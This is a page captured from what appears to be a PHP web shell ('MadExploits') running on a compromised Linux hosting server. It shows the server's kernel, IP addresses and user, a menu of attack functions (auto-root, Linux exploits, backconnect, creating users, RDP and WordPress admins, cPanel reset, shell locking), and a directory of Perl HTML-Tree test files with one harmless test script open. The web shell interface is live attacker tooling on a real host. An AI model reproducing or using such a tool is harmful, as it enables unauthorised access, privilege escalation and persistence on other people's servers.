Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.138.120.251
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
HTML-Tree-5.07 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
00-all_prereqs.t
2.71
KB
-rw-r--r--
00system.t
1007
B
-rw-r--r--
assubs.t
1.1
KB
-rw-r--r--
attributes.t
1.12
KB
-rw-r--r--
body.t
3.17
KB
-rw-r--r--
building.t
5.1
KB
-rw-r--r--
children.t
873
B
-rw-r--r--
clonei.t
516
B
-rw-r--r--
comment.t
417
B
-rw-r--r--
construct_tree.t
4.5
KB
-rw-r--r--
doctype.t
979
B
-rw-r--r--
escape.t
2.37
KB
-rw-r--r--
leaktest.t
5.66
KB
-rw-r--r--
oldparse.html
727
B
-rw-r--r--
oldparse.t
1.83
KB
-rw-r--r--
parents.t
2.57
KB
-rw-r--r--
parse.t
5.76
KB
-rw-r--r--
parsefile.t
1.87
KB
-rw-r--r--
refloop.t
2.05
KB
-rw-r--r--
sample.txt
37
B
-rw-r--r--
split.t
2.45
KB
-rw-r--r--
subclass.t
608
B
-rw-r--r--
tag-rendering.t
1.83
KB
-rw-r--r--
unicode.t
3.61
KB
-rw-r--r--
whitespace.t
983
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : building.t
#!/usr/bin/perl -T use warnings; use strict; #Test that we can build and compare trees use Test::More tests => 46; use HTML::Element; FIRST_BLOCK: { my $lol = [ 'html', [ 'head', [ 'title', 'I like stuff!' ], ], [ 'body', { 'lang', 'en-JP' }, 'stuff', [ 'p', 'um, p < 4!', { 'class' => 'par123' } ], [ 'div', { foo => 'bar' }, ' 1 2 3 ' ], # at 0.1.2 [ 'div', { fu => 'baa' }, " 1 and 2 \xA0 3 " ], # RT #26436 test ['hr'], ] ]; my $t1 = HTML::Element->new_from_lol($lol); isa_ok( $t1, 'HTML::Element' ); ### added to test ->is_empty() and ->look_up() my $hr = $t1->find('hr'); isa_ok( $hr, 'HTML::Element' ); ok( $hr->is_empty(), "testing is_empty method on <hr> tag" ); my $lookuptag = $hr->look_up( "_tag", "body" ); is( '<body lang="en-JP">', $lookuptag->starttag(), "verify hr->look_up found body tag" ); my %attrs = $lookuptag->all_attr(); my @attrs1 = sort keys %attrs; my @attrs2 = sort $lookuptag->all_attr_names(); is_deeply( \@attrs1, \@attrs2, "is_deeply attrs" ); # Test scalar context my $count = $t1->content_list; is( $count, 2, "Works in scalar" ); # Test list context my @list = $t1->content_list; is( scalar @list, 2, "Should get two items back" ); isa_ok( $list[0], 'HTML::Element' ); isa_ok( $list[1], 'HTML::Element' ); my $div = $t1->find_by_attribute( 'foo', 'bar' ); isa_ok( $div, 'HTML::Element' ); ### tests of various output formats is( $div->as_text(), " 1 2 3 ", "Dump element in text format" ); is( $div->as_trimmed_text(), "1 2 3", "Dump element in trimmed text format" ); is( $div->as_text_trimmed(), "1 2 3", "Dump element in trimmed text format" ); is( $div->as_Lisp_form(), qq{("_tag" "div" "foo" "bar" "_content" (\n " 1 2 3 "))\n}, "Dump element as Lisp form" ); is( $div->address, '0.1.2' ); is( $div, $t1->address('0.1.2'), 'using address to get the node' ); ok( $div->same_as($div) ); ok( $t1->same_as($t1) ); ok( not( $div->same_as($t1) ) ); my $div2 = $t1->find_by_attribute( 'fu', 'baa' ); isa_ok( $div2, 'HTML::Element' ); ### test for RT #26436 user controlled white space is( $div2->as_text(), " 1 and 2 \xA0 3 ", "Dump element in text format" ); is( $div2->as_trimmed_text(), "1 and 2 \xA0 3", "Dump element in trimmed text format" ); is( $div2->as_trimmed_text( extra_chars => 'a-z\xA0' ), "1 2 3", "Dump element in trimmed text format without nbsp or letters"); is( $div2->as_trimmed_text( extra_chars => '[:alpha:]' ), "1 2 \xA0 3", "Dump element in trimmed text format without letters"); my $t2 = HTML::Element->new_from_lol($lol); isa_ok( $t2, 'HTML::Element' ); ok( $t2->same_as($t1) ); $t2->address('0.1.2')->attr( 'snap', 123 ); ok( not( $t2->same_as($t1) ) ); my $body = $t1->find_by_tag_name('body'); isa_ok( $body, 'HTML::Element' ); is( $body->tag, 'body' ); my $cl = join '~', $body->content_list; my @detached = $body->detach_content; is( $cl, join '~', @detached ); $body->push_content(@detached); is( $cl, join '~', $body->content_list ); $t2->delete; $t1->delete; } # FIRST_BLOCK TEST2: { # for normalization my $t1 = HTML::Element->new_from_lol( [ 'p', 'stuff', ['hr'], 'thing' ] ); my @start = $t1->content_list; is( scalar(@start), 3 ); my $lr = $t1->content; # $lr is ['stuff', HTML::Element('hr'), 'thing'] is( $lr->[0], 'stuff' ); isa_ok( $lr->[1], 'HTML::Element' ); is( $lr->[2], 'thing' ); # insert some undefs splice @$lr, 1, 0, undef; # insert an undef between [0] and [1] push @$lr, undef; # append an undef to the end unshift @$lr, undef; # prepend an undef to the front # $lr is [undef, 'stuff', undef, H::E('hr'), 'thing', undef] UNNORMALIZED: { my $cl_count = $t1->content_list; my @cl = $t1->content_list; is( $cl_count, 6 ); is( scalar(@cl), $cl_count ); # also == 6 { no warnings; # content_list contains undefs isnt( join( '~', @start ), join( '~', $t1->content_list ) ); } } NORMALIZED: { $t1->normalize_content; my @cl = $t1->content_list; eq_array( \@start, \@cl ); } ok( not defined( $t1->attr('foo') ) ); $t1->attr( 'foo', 'bar' ); is( $t1->attr('foo'), 'bar' ); ok( scalar( grep( 'bar', $t1->all_external_attr() ) ) ); $t1->attr( 'foo', '' ); ok( scalar( grep( 'bar', $t1->all_external_attr() ) ) ); $t1->attr( 'foo', undef ); # should delete it ok( not grep( 'bar', $t1->all_external_attr() ) ); $t1->delete; } # TEST2 EXTRA_CHARS_IS_FALSE: { my $h = HTML::Element->new_from_lol([p => '1 2 0 4']); is( $h->as_text, '1 2 0 4', "Dump p in text format" ); is( $h->as_trimmed_text, '1 2 0 4', "Dump p in trimmed format" ); is( $h->as_trimmed_text(extra_chars => '0'), '1 2 4', "Dump p in trimmed format without 0" ); }
Close